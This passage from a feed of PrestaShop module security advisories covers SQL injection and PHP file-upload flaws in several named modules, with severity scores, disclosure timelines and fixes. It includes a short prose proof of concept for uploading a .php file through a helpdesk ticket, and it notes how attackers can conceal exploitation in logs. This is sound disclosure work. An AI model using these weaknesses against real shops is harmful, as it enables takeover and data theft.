<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author don’t know which version is impacted but confirm us that it was a long time ago</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author refuse to provide us the last version to check if it is fixed</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://promokit.eu/">Author product page</a></li>
  <li><a href="https://themeforest.net/user/promokit">Theme forest author page</a></li>
  <li><a href="https://themeforest.net/item/alysum-premium-responsive-prestashop-16-theme/2622574">Theme forest product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36682">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme settings” (pk_themesettings) from Promokit.eu for PrestaShop, a guest can download all emails collected while SHOP is in maintenance mode.]]></summary></entry><entry><title type="html">[CVE-2024-34989] Improper neutralization of SQL parameter in RSI PDF/HTML catalog evolution (prestapdf) module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/prestapdf.html" rel="alternate" type="text/html" title="[CVE-2024-34989] Improper neutralization of SQL parameter in RSI PDF/HTML catalog evolution (prestapdf) module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/prestapdf</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/prestapdf.html"><![CDATA[<p>In the module RSI PDF/HTML catalog evolution (prestapdf) from RSI for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34989">CVE-2024-34989</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: prestapdf</li>
  <li><strong>Impacted release</strong>: &lt;= 3.9.0 (see WARNING below)</li>
  <li><strong>Product author</strong>: RSI</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">PrestaPDFProductListModuleFrontController::queryDb()</code> has multiple sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Parameters <code class="language-plaintext highlighter-rouge">id_product</code>, <code class="language-plaintext highlighter-rouge">langs</code>, <code class="language-plaintext highlighter-rouge">skipcat</code> are sensitives parameter.</p>

<p><strong>WARNING</strong> : Author refuse to patch the vulnerability so you should consider to uninstall it. There is strong design issue which cannot be fixed by a hotfix. Version tagged as impacted is the only version we had time to produce a POC for it, author has updated things in newer versions but its token is still predictible. So you should consider that all versions are impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Complete takeover</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to <strong>delete this module</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-24</td>
      <td>Issue discovered during a code review by <a href="https://www.202-ecommerce.com/">202-ecommerce.com</a></td>
    </tr>
    <tr>
      <td>2023-11-24</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-27</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-12 to 2024-05</td>
      <td>Relaunch several time for patch</td>
    </tr>
    <tr>
      <td>2024-05-29</td>
      <td>PrestaShop Addons put offline the module</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/import-export-de-donnees/2063-rsi-presta-pdf-html-export-catalog.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-34989">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;Touchweb.fr&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module RSI PDF/HTML catalog evolution (prestapdf) from RSI for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-36683] Improper neutralization of SQL parameter in Smart Modules - Products Alert module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/productsalert.html" rel="alternate" type="text/html" title="[CVE-2024-36683] Improper neutralization of SQL parameter in Smart Modules - Products Alert module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/productsalert</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/productsalert.html"><![CDATA[<p>In the module “Products Alert” (productsalert) up to version 1.7.4 from Smart Modules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36683">CVE-2024-36683</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: productsalert</li>
  <li><strong>Impacted release</strong>: &lt; 1.7.4 (1.7.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Smart Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method ProductsAlertAjaxProcessModuleFrontController::initContent has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>productsalert</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-29</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-03-29</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-29</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-04-17</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/emails-notifications/19997-products-alert.html">PrestaShop addons product page</a></li>
  <li><a href="https://smart-modules.com/fr/inicio/21-alerte-produit.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36683">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Products Alert” (productsalert) up to version 1.7.4 from Smart Modules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-34993] Improper neutralization of SQL parameter in Buy Addons - Bulk Export products to Google Merchant-Google Shopping module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/bagoogleshopping.html" rel="alternate" type="text/html" title="[CVE-2024-34993] Improper neutralization of SQL parameter in Buy Addons - Bulk Export products to Google Merchant-Google Shopping module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/bagoogleshopping</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/bagoogleshopping.html"><![CDATA[<p>In the module “Bulk Export products to Google Merchant-Google Shopping” (bagoogleshopping) up to version 1.0.26 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34993">CVE-2024-34993</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: bagoogleshopping</li>
  <li><strong>Impacted release</strong>: &lt; 1.0.26 (1.0.26 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Buy Addons</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">GenerateCategories::renderCategories()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>bagoogleshopping</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-14</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-03-28</td>
      <td>Author provide a patch (seen on 2024-04-17)</td>
    </tr>
    <tr>
      <td>2024-05-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/marketplaces/24651-bulk-export-products-to-google-merchant-google-shopping.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34993">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Bulk Export products to Google Merchant-Google Shopping” (bagoogleshopping) up to version 1.0.26 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-34994] Improper neutralization of SQL parameter in Channable module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/channable.html" rel="alternate" type="text/html" title="[CVE-2024-34994] Improper neutralization of SQL parameter in Channable module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/channable</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/channable.html"><![CDATA[<p>In the module “Channable” (channable) up to version 3.2.1 from Channable for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34994">CVE-2024-34994</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: channable</li>
  <li><strong>Impacted release</strong>: &lt; 3.2.1 (3.2.1 fixed the vulnerability - see WARNING below)</li>
  <li><strong>Product author</strong>: Channable</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a broken access control based on predictable token, the method <code class="language-plaintext highlighter-rouge">ChannableFeedModuleFrontController::postProcess()</code> has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p><strong>WARNING</strong> : You MUST update the webservice key since it is predictable.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>channable</strong>.</li>
  <li>You MUST update the key for your webservice since it is predictable.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-28</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-03-28</td>
      <td>Contact Author to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-04-16</td>
      <td>Author confirms version scope</td>
    </tr>
    <tr>
      <td>2024-04-17</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-05-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.channable.com/fr/integrations/prestashop">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34994">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Channable” (channable) up to version 3.2.1 from Channable for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-34990] Unrestricted Upload of File with Dangerous Type in FME Modules - Help Desk - Customer Support Management System module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/helpdesk.html" rel="alternate" type="text/html" title="[CVE-2024-34990] Unrestricted Upload of File with Dangerous Type in FME Modules - Help Desk - Customer Support Management System module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/helpdesk</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/helpdesk.html"><![CDATA[<p>In the module “Help Desk - Customer Support Management System” (helpdesk) up to version 2.4.0 from FME Modules for PrestaShop, a customer can upload .php files.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34990">CVE-2024-34990</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: helpdesk</li>
  <li><strong>Impacted release</strong>: &lt; 2.4.0 (2.4.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: FME Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a></li>
  <li><strong>Severity</strong>: critical (9.9)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">HelpdeskHelpdeskModuleFrontController::submitTicket()</code> and <code class="language-plaintext highlighter-rouge">HelpdeskHelpdeskModuleFrontController::replyTicket()</code> allow upload of .php files on a predictable path for connected customers, it will lead to a critical vulnerability <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a>.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Steal data</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<ol>
  <li>Connect as customer</li>
  <li>Go to the customer ticket’s dashboard</li>
  <li>Submit a ticket or Reply to an existing one, with a .php file in attachment</li>
</ol>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>helpdesk</strong>.</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-02-07</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-02-07</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-02-07</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-04-16</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-05-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/customer-service/18740-help-desk-customer-support-management-system.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34990">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Help Desk - Customer Support Management System” (helpdesk) up to version 2.4.0 from FME Modules for PrestaShop, a customer can upload .php files.]]></summary></entry><entry><title type="html">[CVE-2024-33836] Unrestricted Upload of File with Dangerous Type in JA Marketplace module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/jamarketplace.html" rel="alternate" type="text/html" title="[CVE-2024-33836] Unrestricted Upload of File with Dangerous Type in JA Marketplace module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/jamarketplace</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/jamarketplace.html"><![CDATA[<p>In the module “JA Marketplace” (jamarketplace) up to version 9.0.1 from JA Module for PrestaShop, a guest can upload files with extensions .php.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33836">CVE-2024-33836</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jamarketplace</li>
  <li><strong>Impacted release</strong>: &lt;= 9.0.1 (9.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: JA Module</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>In version 6.X, the method <code class="language-plaintext highlighter-rouge">JmarketplaceproductModuleFrontController::init()</code> and in version 8.X, the method <code class="language-plaintext highlighter-rouge">JmarketplaceSellerproductModuleFrontController::init()</code> allow upload of .php files, which will lead to a critical vulnerability <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a>.</p>

<p><strong>This exploit is actively exploited in the wild</strong></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

